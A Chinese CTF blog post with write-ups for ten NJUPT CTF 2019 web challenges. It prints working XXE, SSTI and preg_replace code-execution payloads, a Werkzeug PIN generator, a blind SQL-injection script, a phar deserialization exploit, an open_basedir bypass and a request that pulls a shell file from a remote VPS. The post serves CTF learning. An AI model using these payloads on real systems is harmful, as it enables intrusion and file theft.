Virtua1's blog

NJUPT CTF2019 Web题解

字数统计: 2.2k阅读时长: 11 min
2019/11/26 Share

Web-Fake XML cookbook

XXE任意文件读取。

简单的XXE漏洞,任意文件读取,读取flag。

查看源码:

1
function doLogin(){
2
	var username = $("#username").val();
3
	var password = $("#password").val();
4
	if(username == "" || password == ""){
5
		alert("Please enter the username and password!");
6
		return;
7
	}
8
	
9
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
10
    $.ajax({
11
        type: "POST",
12
        url: "doLogin.php",
13
        contentType: "application/xml;charset=utf-8",
14
        data: data,
15
        dataType: "xml",
16
        anysc: false,
17
        success: function (result) {
18
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
19
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
20
        	if(code == "0"){
21
        		$(".msg").text(msg + " login fail!");
22
        	}else if(code == "1"){
23
        		$(".msg").text(msg + " login success!");
24
        	}else{
25
        		$(".msg").text("error:" + msg);
26
        	}
27
        },
28
        error: function (XMLHttpRequest,textStatus,errorThrown) {
29
            $(".msg").text(errorThrown + ':' + textStatus);
30
        }
31
    }); 
32
}

payload:

1
<?xml version="1.0" encoding="utf-8"?>
2
<!DOCTYPE xxe[
3
<!ENTITY xxe SYSTEM "file:///flag">]>
4
<user><username>&xxe;</username><password>vvvv</password></user>

Web-True XML cookbook

XXE+SSRF

跟上题一样的环境,但是只能读取/etc/passwd,读取flag和源码都会返回空

发现还能读取:/etc/hosts,发先存在内网,读取/proc/net/arp 内网,探测内网即可。

payload:

1
<?xml version="1.0" encoding="utf-8"?>
2
<!DOCTYPE xxe[
3
<!ENTITY xxe SYSTEM "http://192.168.1.8">]>
4
<user><username>&xxe;</username><password>vvvv</password></user>

Web-flask

一个简单的SSTI,通过测试发现sha256页面存在错误页面

输入49 发现存在模板注入。

利用命令执行的payload导入os库,列目录,读文件。

除了直接执行命令,还可以利用file 直接操作 过滤了flag 可以用通配符,也可读Dockerfile

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')}}

1
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat%20./Dockerfile").read()')}}

Web–flask_website

flask pin码命令执行。

1
username # 用户名ctf #利用任意文件读取读取/etc/passwd 
2
modname # flask.app
3
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
4
getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径 报错得到
5
可以根据报错路径得到:/usr/local/lib/python3.6/site-packages/flask/app.py
6
uuid.getnode() # mac地址十进制 02:42:ac:16:00:02 > 2485378220034 #/sys/class/net/eth0/address
7
get_machine_id() # /etc/machine-id or /proc/sys/kernel/random/boot_id

任意文件读取获得关键信息:

1
file:///etc/passwd

1
modname # flask.app
2
getattr(app, '__name__', getattr(app.__class__, '__name__')) # Flask
1
getattr(mod, '__file__', None) # flask目录下的一个app.py的绝对路径

1
file:///sys/class/net/eth0/address

/etc/machine-id不存在,读到/proc/sys/kernel/random/boot_id 生成pin码不对,任意文件读取读下flask源码,发现修改了为docker的时候。

1
file:///usr/local/lib/python3.6/site-packages/werkzeug/debug/__init__.py

1
file:///proc/self/cgroup

生成pin码:

1
# -*-coding:utf-8
2
import hashlib
3
from itertools import chain
4
probably_public_bits = [
5
    'ctf',# username:/etc/passwd
6
    'flask.app',# modname
7
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
8
    '/usr/local/lib/python3.6/site-packages/flask/app.py' # getattr(mod, '__file__', None),
9
]
10
11
private_bits = [
12
    '2485378220034',# str(uuid.getnode()):/sys/class/net/ens0/address
13
    '93555c856bfcb68f0f2123a713046af28daa8b5c4ec5415ac0fad7cae8a2da6e'# get_machine_id():/etc/machine-id,/proc/sys/kernel/random/boot_id,/proc/self/cgroup
14
]
15
16
h = hashlib.md5()
17
for bit in chain(probably_public_bits, private_bits):
18
    if not bit:
19
        continue
20
    if isinstance(bit, str):
21
        bit = bit.encode('utf-8')
22
    h.update(bit)
23
h.update(b'cookiesalt')
24
25
cookie_name = '__wzd' + h.hexdigest()[:20]
26
27
num = None
28
if num is None:
29
    h.update(b'pinsalt')
30
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
31
32
rv =None
33
if rv is None:
34
    for group_size in 5, 4, 3:
35
        if len(num) % group_size == 0:
36
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
37
                          for x in range(0, len(num), group_size))
38
            break
39
    else:
40
        rv = num
41
42
print(rv)

读取flag:

Web-Upload your Shell

首先利用<script>标签绕过过滤,其次验证文件头添加GIF89a ,类型改为image/jpeg

上传后利用首页的文件包含包含shell即可得到flag。

Web-replace

preg_replace 代码执行。

1
sub=a&pat=a&rep=eval($_POST[a]);&a=system('cat /flag'); //readfile(chr(47).chr(102).chr(108).chr(97).chr(103));

Web-backdoor

1
<?php
2
error_reporting(0);
3
if(!isset($_GET['code']) || !isset($_GET['useful'])){
4
    highlight_file(__file__);
5
}
6
$code = $_GET['code'];
7
$usrful = $_GET['useful'];
8
9
function waf($a){
10
    $dangerous = get_defined_functions();
11
    array_push($dangerous["internal"], 'eval', 'assert');
12
    foreach ($dangerous["internal"] as $bad) {
13
        if(strpos($a,$bad) !== FALSE){
14
        return False;
15
        break;
16
        }
17
    }
18
    return True;
19
}
20
21
if(file_exists($usrful)){
22
    if(waf($code)){
23
        eval($code);
24
    }
25
    else{
26
        die("oh,不能输入这些函数哦 :) ");
27
    }
28
}

利用copy命令从远程vps写入shell。

1
useful=/flag&code=$_GET[a]($_GET[b],$_GET[c]);&a=copy&b=vps/shell.txt&c=v.php

Web-easyphp

简单的绕过直接执行命令。

1
http://nctf2019.x1ct34m.com:60005/?num=23333%0a&str1=2120624&str2=9081940&q.w.q=tac f*

Web-SQLi

过滤了很多字符,Fuzz一下,过滤的关键字符:

参考:https://blog.csdn.net/weixin_42444939/article/details/101021187

利用regexp 注入+截断绕过,构造语句:

先利用反斜杠转义' 然后和passwd的第一个' 构成username字段,查询为空

||构造or 运算regexp匹配passwd,最后用;闭合语句,%00截断成功闭合。

脚本:

1
# -*-coding:utf-8
2
import requests
3
4
url = 'http://nctf2019.x1ct34m.com:40005/index.php'
5
dict = 'abcdefghijklmnopqrstuvwxyz1234567890_'
6
7
username = '\\'
8
passwd = '||passwd/**/regexp/**/"^\\{}";\x00'
9
pwd = ''
10
for i in range(50):
11
	for j in dict:
12
		data = {'username':username, 'passwd':passwd.format(pwd+j)}
13
		#print(passwd.format(pwd+j))
14
		res = requests.post(url, data = data)
15
		if 'hello friend' in res.content:
16
			pwd += j
17
			print("passwd:"+pwd)
18
			break

Web-phar matches everything

比较有意思的一道题目:

1、vim交换文件泄露 恢复

2、phar反序列化

3、SSRF 任意文件读取、探测内网应用

3、SSRF+Gopher 攻击FPM

4、bypass open_basedir

发现vim交换文件泄露:.catchmime.php.swp

下载利用vim 恢复:

1
<?php
2
class Easytest{
3
    protected $test;
4
    public function funny_get(){
5
        return $this->test;
6
    }
7
}
8
class Main {
9
    public $url;
10
    public function curl($url){
11
        $ch = curl_init();
12
        curl_setopt($ch,CURLOPT_URL,$url);
13
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
14
        $output=curl_exec($ch);
15
        curl_close($ch);
16
        return $output;
17
    }
18
19
        public function __destruct(){
20
        $this_is_a_easy_test=unserialize($_GET['careful']);
21
        if($this_is_a_easy_test->funny_get() === '1'){
22
            echo $this->curl($this->url);
23
        }
24
    }
25
}
26
27
if(isset($_POST["submit"])) {
28
    $check = getimagesize($_POST['name']);
29
    if($check !== false) {
30
        echo "File is an image - " . $check["mime"] . ".";
31
    } else {
32
        echo "File is not an image.";
33
    }
34
}
35
?>

注意到存在getimagesize函数,可以触发phar反序列化。

这样就可以构造反序列化,首先存在触发的地方,只需要传入的name=phar:// phar_file_path&name

利用类也很简单可以SSRF,读取任意文件,传入$url=file:// 读取任意文件,调用的时候需要满足:

1
if($this_is_a_easy_test->funny_get() === '1')

这里只要要 GET 传入实例序列化的的Easytest 就可以,令$test=1,存在protected修饰符,利用url编码。

Exp:

1
<?php
2
class Easytest{
3
    protected $test;
4
    public function __construct(){
5
        $this->test='1';
6
    }
7
}
8
9
class Main{
10
    public $url;
11
    public function __construct(){
12
        $this->url = 'file:///etc/passwd';
13
    }
14
}
15
16
$v = new Easytest();
17
echo urlencode(serialize($v));
18
#careful=
19
#O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
20
$s = new Main();
21
22
@unlink("exp.jpg");
23
$phar = new Phar("exp.phar");
24
$phar->startBuffering();
25
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
26
$phar->setMetadata($s);
27
$phar->addFromString("exp", "Virtua1");
28
$phar->stopBuffering();
29
copy("exp.phar","exp.jpg");
30
?>

上传exp.jpg,返回文件名:

利用catchmime 触发,这里需要传入careful参数:

可以任意文件读取了,但是读不到flag

读取/etc/hosts 和 /prco/net/arp:

内网地址10.0.0.3,SSRF探测内网发现10.0.0.3开放 并且存在PHP-FPM`服务

利用SSRF+Gopher 攻击 PHP-FPM,参考evoa师傅的文章

成功打到FPM,看一下phpinfo:

利用system执行命令时发现不能用,猜测需要 bypass disable_functions ,看一下phpinfo:

过滤的函数有:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,putenv,proc_open,passthru,symlink,link,syslog,imap_open,dl,system,mb_send_mail,mail,error_log,unlink,delete,copy,rmdir

然后open_basedir限制了如下目录:

1
/var/www/html:/tmp

参考2019 0ctf final Web-wallbreaker_not_very_hard,利用飘零师傅分析过的一种方法从PHP底层看open-basedir-bypass

利用文章中的方法构造payload:

1
chdir('/tmp');
2
mkdir('v1s');
3
chdir('v1s');
4
ini_set('open_basedir','..');
5
chdir('..');
6
chdir('..');
7
chdir('..');
8
chdir('..');
9
ini_set('open_basedir','/');
10
var_dump(scandir('/'));

读取flag:

1
chdir('/tmp');
2
mkdir('v1s');
3
chdir('v1s');
4
ini_set('open_basedir','..');
5
chdir('..');
6
chdir('..');
7
chdir('..');
8
chdir('..');
9
ini_set('open_basedir','/');
10
readfile(/flag);

成功得到flag。

CATALOG
  1. 1. Web-Fake XML cookbook
  2. 2. Web-True XML cookbook
  3. 3. Web-flask
  4. 4. Web–flask_website
  5. 5. Web-Upload your Shell
  6. 6. Web-replace
  7. 7. Web-backdoor
  8. 8. Web-easyphp
  9. 9. Web-SQLi
  10. 10. Web-phar matches everything